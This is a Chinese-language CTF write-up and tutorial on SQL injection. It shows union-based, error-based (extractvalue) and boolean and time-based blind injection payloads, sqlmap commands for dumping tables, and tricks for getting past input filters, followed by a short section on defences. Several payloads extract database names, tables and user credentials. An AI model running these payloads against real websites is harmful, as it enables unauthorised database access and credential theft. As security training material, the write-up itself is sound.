每天一道CTF,日积月累,期待进步!
SQL注入攻击,union联合查询和 SQLMAP;SQL盲注
SQL注入
看到题目是一个典型的SQL注入,有回显

post方式传递数据,在id变量处可能存在注入点,下面尝试注入

有两种方法,SQLMAP或利用union查询
union查询
确定注入点
如果id=1' and 1=1#
返回正常,1=2返回失败,则存在字符型注入判断字段数:
id=1' order by 4#
4列 (<=4都正常回显,>4无输出)判断回显位:
id=0' union select 1,2,3,4#
2,3,4列是回显列 ,第一列是id查询表名:
id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
表 fl4g,sc查fl4g的字段:
id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'#
(有些情况可以用十六进制绕过)字段名skctf_flag列出数据:
id=0' union select 1,2,3,skctf_flag from fl4g#
得到flag
SQLMAP的POST注入
burp截包,输入1,提交。burp已经把id获取到了,保存为txt文件。放置到sqlmap的目录下边。
sqlmap对站点进行分析(-r)
开始注入
–dbs数据库
1
2sqlmap.py -r D:\CTF\SQLmap\1.txt (-p admin_name注入点)--dbs
不带注入点的话,sqlmap会自动检测-D skctf –tables 表
1 | sqlmap.py -r D:\CTF\SQLmap\1.txt -D skctf --tables |

-D skctf -T fl4g –columns 列
1
sqlmap.py -r D:\CTF\SQLmap\1.txt -D skctf -T fl4g --columns
-D skctf -T fl4g -C “skctf_flag” –dump 值
1
sqlmap.py -r D:\CTF\SQLmap\1.txt -D skctf -T fl4g -C "skctf_flag" --dump
get方式注入就是
1 | sqlmap.py -u "http://www.xxx.com/index.php?id=1" --dbs |
总结
mysql中的注释常用两种方式–+与#,#在url中需要编码为%23以避免与url本身的锚点冲突。
MYSQL基于联合查询/报错的手工注入
- union联合查询注入 针对字符型(上面的例子)
- 报错注入 针对数字型(没单引号)
- 通过floor报错
- 通过updatexml报错
- 通过ExtractValue报错
1 | and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1 --+ |
extractvalue(XML,XPath)
从目标XML中返回包含查询值得字符串
参数XML:String格式,为XML文档对象得名称
参数XPath:xpath格式得字符串
因为我们在xpath输入的不是要求的xpath格式的字符串,所以函数会报错返回xpath参数内容
xpath会被带入mysql进行执行操作,发现不是xpath格式,但是只有在执行后才会发现,就会执行sql代码(select开始),查询内容并且concat拼接字符串,随后由extractvalue函数返回报错

1 | and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))=1 --+ |
1 | and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))=1 --+ |
MYSQL盲注
盲注入不会展现任何数据库报错内容,它是依据构造真或假的问题对数据库进行“提问”,只有错误或正确的显示,不会把整个数据库的内容显示出来。
基于bool的盲注
牢记布尔盲注的特点:只有当
and
后面的sql语句为True才不会报错;报错就表示and后的sql语句不成立。1
ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 #
substr(a,b,c)
将a结果从b开始截取c长度字符,ascii()将字符转为ascii值基于时间的盲注
利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。
判断当前数据库库名的长度
如果数据库库名长度大于等于8,则mysql查询休眠5秒,否则查询1。
1
2if(length(database())>=8,sleep(5),1)
http://.../php?id=1' and if(length(database())>=8,sleep(5),1)--+大于等于8,休眠,大于等于9不休眠,说明长度为8
获取当前数据库库名
由于数据库的库名范围一般在a-z,0-9之间,可能有特殊字符,不区分大小写。和boolean注入类似,使用substr函数来截取database()的值,一次截取一个,注意是从1开始。
1
2if(substr(database(),1,1)='a',sleep(5),1)
http://.../1.php?id=1'and if(substr(database(),1,1)='a',sleep(5),1)--+使用使用Burp爆破:得到数据库名:security
获取数据库表名
LIMIT[位置偏移量,]行数
其中,中括号里面的参数是可选参数,位置偏移量是指MySQL查询分析器要从哪一行开始显示,索引值从0开始,即第一条记录位置偏移量是0,第二条记录的位置偏移量是1,依此类推…,第二个参数为“行数”即指示返回的记录条数。
1
2
3if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1)
http://.../php?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1)--+使用使用Burp爆破:得到数据库表名:security
修改limit 0,1为limit 1,1,可以得到第二个表名。最后得到所有表名:
第1个表名是:emails
第2个表名是:referers (limit 2,1)
第3个表名是:uagents (limit 3,1)
第4个表名是:users (limit 4,1)
依次类推,就可以得到完整的数据库库名,表名,字段名和具体数据。
SQL注入的防御
- 过滤敏感字符
将常用的SQL注入字符写入到黑名单中,然后通过程序对用户提交的POST、GET请求以及请求中的各个字段都进行过滤检查,筛选威胁字符。
通常过滤空格、括号、引号……等特殊字符,但是这些可以绕过的。
举例:过滤空格 select/**/name/**/from/**/user/**/where/**/id='kk' 或 select(name)from(user)where(id='kk')
通过这种方法就会规避对空格的过滤;过滤括号和引号select name from user wehere id=0x6b6b
0x6b6b(kk的十六进制)
- 限制查询长度
由于SQL注入过程中需要构造较长的SQL语句,因此,一些特定的程序可以使用限制用户提交的请求内容的长度来达到防御SQL注入的目的,但这种效果并不好。
- 设置数据库权限
根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。
- 限制目录权限
WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。
- 限制数据类型
因为PHP语言没有严格的限制数据类型的定义例如:“ID=1 就默认ID为Intger ; name=kk 默认name为string”在PHP的弱类型管理中这是不安全的。
补充:SQLbool盲注脚本
1 | #coding=utf-8 |
Burpsuit fuzz 判断过滤了哪些字符
https://github.com/fuzzdb-project/fuzzdb
这是一个fuzz测试的payload库,上面有大量的测试payload,非常实用,我们本次sql注入就用到它。
我们使用这个payload就可以了 /attack/sql-injection/detect/xplatform.txt
二次注入
要点两次才有